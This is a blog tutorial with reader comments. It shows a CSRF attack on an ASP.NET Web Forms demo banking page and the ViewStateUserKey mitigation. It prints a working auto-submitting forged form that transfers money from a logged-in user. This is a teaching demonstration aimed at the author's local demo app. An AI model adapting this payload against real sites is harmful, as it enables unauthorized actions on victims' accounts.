CSRF Attacks and Web Forms

asp.net 0 comments suggest edit

In my last blog post, I walked step by step through a Cross-site request forgery (CSRF) attack against an ASP.NET MVC web application. This attack is the result of how browsers handle cookies and cross domain form posts and is not specific to any one web platform. Many web platforms thus include their own mitigations to the problem.

It might seem that if you’re using Web Forms, you’re automatically safe from this attack. While Web Forms has many mitigations turned on by default, it turns out that it does not automatically protect your site against this specific form of attack.

In the same sample bank transfer application I provided in the last post, I also included an example written using Web Forms which demonstrates the CSRF attack. After you log in to the site, you can navigate to /BankWebForm/default.aspx to try out the Web Form version of the transfer money page. it works just like the MVC version.

To simulate the attack, make sure you are running the sample application locally and make sure you are logged in and then click on https://haacked.com/demos/csrf-webform.html.

Here’s the code for that page:

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title></title>
</head>
<body>
  <form name="badform" method="post"
    action="http://localhost:54607/BankWebForm/Default.aspx">
    <input type="hidden" name="ctl00$MainContent$amountTextBox"
      value="1000" />
    <input type="hidden" name="ctl00$MainContent$destinationAccountDropDown"
      value="2" />
    <input type="hidden" name="ctl00$MainContent$submitButton"
      value="Transfer" />
    <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET"
      value="" />
    <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT"
      value="" />
    <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
      value="/wEP...0ws8kIw=" />
    <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION"
      value="/wEWBwK...+FaB85Nc" />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

It’s a bit more involved, but it does the trick. It mocks up all the proper hidden fields required to execute a bank transfer on my silly demo site.

The mitigation for this attack is pretty simple and described thoroughly in this this article by Dino Esposito as well as this post by Scott Hanselman. The change I made to my code behind based on Dino’s recommendation is the following:

protected override void OnInit(EventArgs e) {
  ViewStateUserKey = Session.SessionID;
  base.OnInit(e);
}

With this change in place, the CSRF attack I put in place no longer works.

When you go to a real bank site, you’ll learn they have all sorts of protections in place above and beyond what I described here. Hopefully this post and the previous one provided some insight into why they do all the things they do. :)

Technorati Tags: asp.net,security

Found a typo or error? Suggest an edit! If accepted, your contribution is listed automatically here.

Comments

avatar

12 responses

  1. Avatar for Erik
    Erik April 2nd, 2009

    Excellent article, as usual - and very timely for me - thanks! =)

  2. Avatar for Alex
    Alex April 2nd, 2009

    ViewStateUserKey doesn't always prevent CSRF in ASP.NET Web Forms - I wrote a blog post about the mechanism and when it doesn't apply:
    keepitlocked.net/.../...-site-request-forgery.aspx
    The two exceptions are:
    1) If you aren't using the POSTBACK mechanism
    2) If you disable ViewStateMac (or ViewState entirely)
    Good series of posts, though, and I'm glad ASP.NET MVC builds in CSRF protection.

  3. Avatar for Jack
    Jack April 2nd, 2009

    Quite impressive, thanks for sharing

  4. Avatar for haacked
    haacked April 2nd, 2009

    @Alex yeah, I read your post and forgot to link to it. Keep in mind that my point was that out of the box, ViewStateUserKey works. In your case, you'd have to disable ViewStateMac and not use PostBack.
    In the code I wrote, we rely on a button click event which relies on post back.

  5. Avatar for Thanigainathan.S
    Thanigainathan.S April 2nd, 2009

    Hi,
    This is nice article . What i am wondering is about the ASp.Net Viewstate validation. Will that be not working considering this situation ?
    Thanks,
    Thani

  6. Avatar for Aaron Lewis
    Aaron Lewis April 3rd, 2009

    Is that snip something that would be appropriate to put in an HTTPModule?

  7. Avatar for Johnny
    Johnny April 3rd, 2009

    Doesn't this still assume that the user trusts their browser? For example, if the ViewStateUserKey can be obtained from the viewstate, the hacker can proceed with the described forgery attack yes?

  8. Avatar for haacked
    haacked April 3rd, 2009

    @Johnny, yes, all the CSRF mitigations assume the browser is trustworthy. If a bad guy compromises your browser, it's not much different than if a bad guy compromises your OS. Then all bets are off.

  9. Avatar for Paul Irwin
    Paul Irwin April 6th, 2009

    Everyone always overlooks the MasterPage scenario...
    To do this in your master page, so you don't have to do it on each page, set the Init event to contain this slightly different line instead:
    Page.ViewStateUserKey = Session.SessionID

  10. Avatar for Daniel
    Daniel June 2nd, 2011

    I tried your demo. I'm logged in the demo application but when I try to simulate the attack using the http://haacked.com/demos/csrf-webform.html link I'm redirected to the login page. I don't know what I'm doing wrong...
    Of course, the code for preventing CSRF is still commented.

  11. Avatar for zc0000
    zc0000 September 8th, 2011

    Hi , could you give suggestions on implementing CSRF when session/viewstate are disabled in a webform asp.net application ?
    Thanks !

  12. Avatar for Adam Tuliper
    Adam Tuliper December 6th, 2011

    One thing to note, you MUST have already established a session for this to work. If not, the SessionId will change on every single request and your next request will fail itself because its signed with a session id that is no longer your session id. You must 'peg down' the session by setting a value in it. for instance, Session["Anything"] = DateTime.now